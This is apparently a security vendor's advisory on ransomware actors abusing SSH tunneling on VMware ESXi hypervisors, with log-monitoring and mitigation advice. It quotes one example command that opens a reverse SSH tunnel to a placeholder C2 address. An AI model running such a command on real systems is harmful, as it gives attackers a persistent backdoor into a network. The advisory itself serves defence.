Ransomware Actors are Axploiting ESXi Bare-Metal Hypervisors via SSH Tunneling

Ransomware actors are exploiting ESXi bare-metal hypervisors via SSH tunneling

Ransomware Actors are Exploiting ESXi Bare-Metal Hypervisors via SSH Tunneling

Summary

Threat actors are targeting VMware ESXi hypervisors by abusing SSH tunneling to establish persistence, facilitate lateral movement, and execute ransomware without detection. These hypervisors, vital to virtualized environments, frequently lack proper monitoring, making them attractive targets. The dispersed logging architecture of ESXi further complicates threat detection. However, implementing proactive monitoring, consolidating logs, and integrating with SIEM platforms can effectively reduce these risks

Technical Description

The emergence of advanced ransomware campaigns targeting VMware ESXi bare-metal hypervisors marks a concerning shift in cyberattacks. These hypervisors are increasingly falling victim to ransomware operations that exploit SSH tunneling to establish persistence. According to research by Sygnia, attackers infiltrate ESXi systems by exploiting known vulnerabilities or using stolen administrative credentials. Once inside, they leverage the built-in SSH service to enable lateral movement and deploy ransomware while evading detection. Since ESXi appliances are robust and rarely experience unexpected shutdowns, this tunneling acts as a semi-persistent backdoor within the network.

VMware ESXi appliances play a pivotal role in virtualized environments, enabling organizations to run multiple virtual machines on a single physical server. This functionality reduces hardware expenses and optimizes resource utilization, making ESXi a fundamental component of enterprise infrastructure. However, these systems are frequently unmonitored or insufficiently secured, leaving them exposed to potential attacks. When breached, the consequences can be devastating, as attackers can infiltrate sensitive virtualized environments, encrypt critical data, and severely disrupt business operations.

Emerging Threat: SSH Tunneling for Persistent Access

ESXi hypervisors come with a built-in SSH service designed to assist administrators in managing systems remotely via a command-line interface. Unfortunately, ransomware groups have started exploiting this feature to maintain persistence, navigate laterally across networks, and deliver ransomware payloads, all while avoiding detection.
Once hackers are on the device, setting up the tunneling is a simple task using the native SSH functionality or by deploying other common tooling with similar capabilities

For example, by using the SSH binary, a remote port-forwarding to the C2 server can be easily set up by using the following command:

ssh –fN -R 127.0.0.1:<SOCKS port> <user>@<C2 IP address>

Since ESXi appliances are resilient and rarely shut down unexpectedly, this tunneling serves as a semi-persistent backdoor within the network.

Challenges in ESXi Log Visibility

A critical weakness that ransomware actors exploit is the fragmented nature of ESXi logging. Unlike most systems that consolidate logs into a single syslog file, ESXi divides logs across several dedicated files, making it necessary to gather information from multiple sources to uncover evidence.

The security firm suggests that system admins investigate these four log files to detect SSH tunneling and ransomware activity:

  • /var/log/shell.log → Tracks command execution in ESXi Shell
  • /var/log/hostd.log → Logs administrative activities and user authentication
  • /var/log/auth.log → Captures login attempts and authentication events
  • /var/log/vobd.log → Stores system and security event logs

 

The hostd.log and vodb.log files are likely to contain traces of firewall rule modifications, which are crucial for enabling persistent SSH access. It’s important to note that ransomware actors frequently erase logs to remove evidence of SSH access, alter timestamps, or truncate logs to mislead investigators, making it challenging to uncover evidence.

Mitigating the Risk of SSH Tunneling

Organizations utilizing VMware ESXi hypervisors must stay vigilant and implement strong security measures to detect and counter these threats. This includes limiting SSH access to authorized users, applying patches for known vulnerabilities, and using advanced monitoring tools to detect unusual activity. By centralizing logs and integrating them into broader monitoring frameworks, security teams can bridge visibility gaps and bolster defenses against ransomware actors exploiting SSH tunneling.

The risk of ransomware targeting virtualized environments is on the rise, and as attackers continue to refine their tactics, organizations must take proactive measures to safeguard their critical infrastructure. While ESXi hypervisors are resilient, they can become a vulnerable point if not actively monitored and protected. Effective logging, centralized analysis, and proactive threat hunting are essential to keeping these systems secure and operational.

Impact

The exploitation of VMware ESXi hypervisors can have severe consequences for organizations, such as the encryption of crucial virtual machines, leading to operational disruptions and substantial financial losses. Sensitive data may be exfiltrated or permanently lost, causing significant harm to business operations. Moreover, undetected persistence by attackers could allow for additional compromises across the network, escalating the damage over time.

IOC and Context Details
Table
Topics Details
Tactic Name NA
Technique Name NA
Sub Technique Name NA
Attack Type Ransomware
Targeted Applications VMWare ESXi
Region Impacted Global
Industry Impacted All
IOC’s NA
CVE NA
 
Topics
Details
  • Tactic Name
  • Technique Name
  • Sub Technique Name
  • Attack Type
  • Targeted Applications
  • Region Impacted
  • Industry Impacted
  • IOC’s
  • CVE
  • NA
  • NA
  • NA
  • Ransomware
  • VMWare ESXi
  • Global
  • All
  • NA
  • NA
Recommended Actions

Due to the increasing complexity of these attacks, organizations must implement proactive measures to protect their ESXi environments. Recommendations include the following:

  1. Centralizing Logs: Forward ESXi logs to a centralized syslog server for streamlined analysis and correlation.
  2. Integrating with SIEM Systems: Incorporate ESXi logs into a Security Information and Event Management (SIEM) platform to detect anomalies and uncover potential threats.
  3. Proactive Monitoring: Regularly review critical log files, such as those listed above, to identify signs of tunneling activity or unauthorized changes to the system.
  4. Configuring Syslog Forwarding: Ensure that syslog forwarding is properly set up to reduce visibility gaps and maintain a reliable audit trail.
References

https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/

View all Advisories
Post Views: 45